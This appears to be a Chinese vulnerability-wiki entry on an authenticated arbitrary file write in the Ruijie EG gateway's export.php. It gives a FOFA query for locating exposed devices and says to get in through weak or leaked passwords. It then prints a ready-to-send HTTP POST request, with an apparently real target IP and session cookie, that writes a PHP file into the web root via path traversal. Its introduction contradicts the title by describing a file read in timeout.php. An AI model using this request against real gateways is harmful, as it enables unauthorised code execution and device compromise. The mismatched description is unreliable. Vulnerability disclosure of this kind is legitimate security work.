锐捷EG易网关export后台任意文件写入 - SecNN-Wiki漏洞库管理系统&网络安全知识库-本Wiki所有信息来源于公开漏洞数据库

锐捷EG易网关export后台任意文件写入¶

一、漏洞简介

锐捷EG易网关timeout.php后台任意文件读取漏洞

二、影响版本

锐捷 EG易网关
三、资产测绘
●登录页面

fofa:app="Ruijie-EG易网关"

四、漏洞复现
1通过弱口令或账号密码泄露漏洞登录后台获取cookie

2通过上一步获取的cookie执行命令

POST /vwan_pi/export.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Cookie: LOCAL_LANG_COOKIE=zh; RUIJIEID=bnrul7jabde55u5moo2a4q57a0; helpKey=home_sys;user=admin
X-Requested-With: XMLHttpRequest
Host: 117.40.253.197:4430
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 53

content=<?php phpinfo();?>&filename=../../html/oo.php